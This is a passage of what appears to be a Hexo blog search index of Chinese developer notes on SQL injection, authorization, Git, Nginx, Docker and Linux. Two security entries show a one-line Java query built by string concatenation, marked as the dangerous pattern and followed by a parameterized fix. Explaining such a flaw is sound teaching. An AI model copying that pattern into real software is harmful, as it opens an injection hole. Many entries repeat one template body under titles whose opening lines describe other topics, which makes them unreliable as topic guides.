        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口鉴权和权限校验的区别</title>
      <link href="//jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/"/>
      <url>//jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/</url>
      
        <content type="html"><![CDATA[<h1 id="接口鉴权和权限校验的区别"><a href="#接口鉴权和权限校验的区别" class="headerlink" title="接口鉴权和权限校验的区别"></a>接口鉴权和权限校验的区别</h1><p>接口鉴权和权限校验是两个不同层次的概念。本文讲它们的区别和实现方式。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SQL 注入原理和防护方法</title>
      <link href="//sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/"/>
      <url>//sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="SQL-注入原理和防护方法"><a href="#SQL-注入原理和防护方法" class="headerlink" title="SQL 注入原理和防护方法"></a>SQL 注入原理和防护方法</h1><p>SQL 注入原理和防护方法是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git 冲突解决的正确顺序</title>
      <link href="//git-chong-tu-jie-jue-de-zheng-que-shun-xu/"/>
      <url>//git-chong-tu-jie-jue-de-zheng-que-shun-xu/</url>
      
        <content type="html"><![CDATA[<h1 id="Git-冲突解决的正确顺序"><a href="#Git-冲突解决的正确顺序" class="headerlink" title="Git 冲突解决的正确顺序"></a>Git 冲突解决的正确顺序</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git rebase 和 merge 怎么选</title>
      <link href="//git-rebase-he-merge-zen-me-xuan/"/>
      <url>//git-rebase-he-merge-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="Git-rebase-和-merge-怎么选"><a href="#Git-rebase-和-merge-怎么选" class="headerlink" title="Git rebase 和 merge 怎么选"></a>Git rebase 和 merge 怎么选</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git 提交前如何检查改动</title>
      <link href="//git-ti-jiao-qian-ru-he-jian-cha-gai-dong/"/>
      <url>//git-ti-jiao-qian-ru-he-jian-cha-gai-dong/</url>
      
        <content type="html"><![CDATA[<h1 id="Git-提交前如何检查改动"><a href="#Git-提交前如何检查改动" class="headerlink" title="Git 提交前如何检查改动"></a>Git 提交前如何检查改动</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx 配置修改后的验证流程</title>
      <link href="//nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/"/>
      <url>//nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="Nginx-配置修改后的验证流程"><a href="#Nginx-配置修改后的验证流程" class="headerlink" title="Nginx 配置修改后的验证流程"></a>Nginx 配置修改后的验证流程</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx 静态资源缓存配置</title>
      <link href="//nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/"/>
      <url>//nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="Nginx-静态资源缓存配置"><a href="#Nginx-静态资源缓存配置" class="headerlink" title="Nginx 静态资源缓存配置"></a>Nginx 静态资源缓存配置</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx 反向代理配置入门</title>
      <link href="//nginx-fan-xiang-dai-li-pei-zhi-ru-men/"/>
      <url>//nginx-fan-xiang-dai-li-pei-zhi-ru-men/</url>
      
        <content type="html"><![CDATA[<h1 id="Nginx-反向代理配置入门"><a href="#Nginx-反向代理配置入门" class="headerlink" title="Nginx 反向代理配置入门"></a>Nginx 反向代理配置入门</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>容器健康检查为什么重要</title>
      <link href="//rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/"/>
      <url>//rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/</url>
      
        <content type="html"><![CDATA[<h1 id="容器健康检查为什么重要"><a href="#容器健康检查为什么重要" class="headerlink" title="容器健康检查为什么重要"></a>容器健康检查为什么重要</h1><p>容器健康检查是保证服务稳定的重要一环。本文讲为什么重要以及如何做。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>docker compose 部署单机服务</title>
      <link href="//docker-compose-bu-shu-dan-ji-fu-wu/"/>
      <url>//docker-compose-bu-shu-dan-ji-fu-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="docker-compose-部署单机服务"><a href="#docker-compose-部署单机服务" class="headerlink" title="docker compose 部署单机服务"></a>docker compose 部署单机服务</h1><p>Dockerfile 的分层缓存和镜像优化是部署时最容易忽略的。本文讲一些实用技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Docker 容器日志和数据卷实践</title>
      <link href="//docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/"/>
      <url>//docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="Docker-容器日志和数据卷实践"><a href="#Docker-容器日志和数据卷实践" class="headerlink" title="Docker 容器日志和数据卷实践"></a>Docker 容器日志和数据卷实践</h1><p>日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Dockerfile 分层缓存和镜像优化</title>
      <link href="//dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/"/>
      <url>//dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="Dockerfile-分层缓存和镜像优化"><a href="#Dockerfile-分层缓存和镜像优化" class="headerlink" title="Dockerfile 分层缓存和镜像优化"></a>Dockerfile 分层缓存和镜像优化</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 文件权限和用户组理解</title>
      <link href="//linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/"/>
      <url>//linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-文件权限和用户组理解"><a href="#Linux-文件权限和用户组理解" class="headerlink" title="Linux 文件权限和用户组理解"></a>Linux 文件权限和用户组理解</h1><p>Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>crontab 定时任务从配置到排查</title>
      <link href="//crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/"/>
      <url>//crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/</url>
      
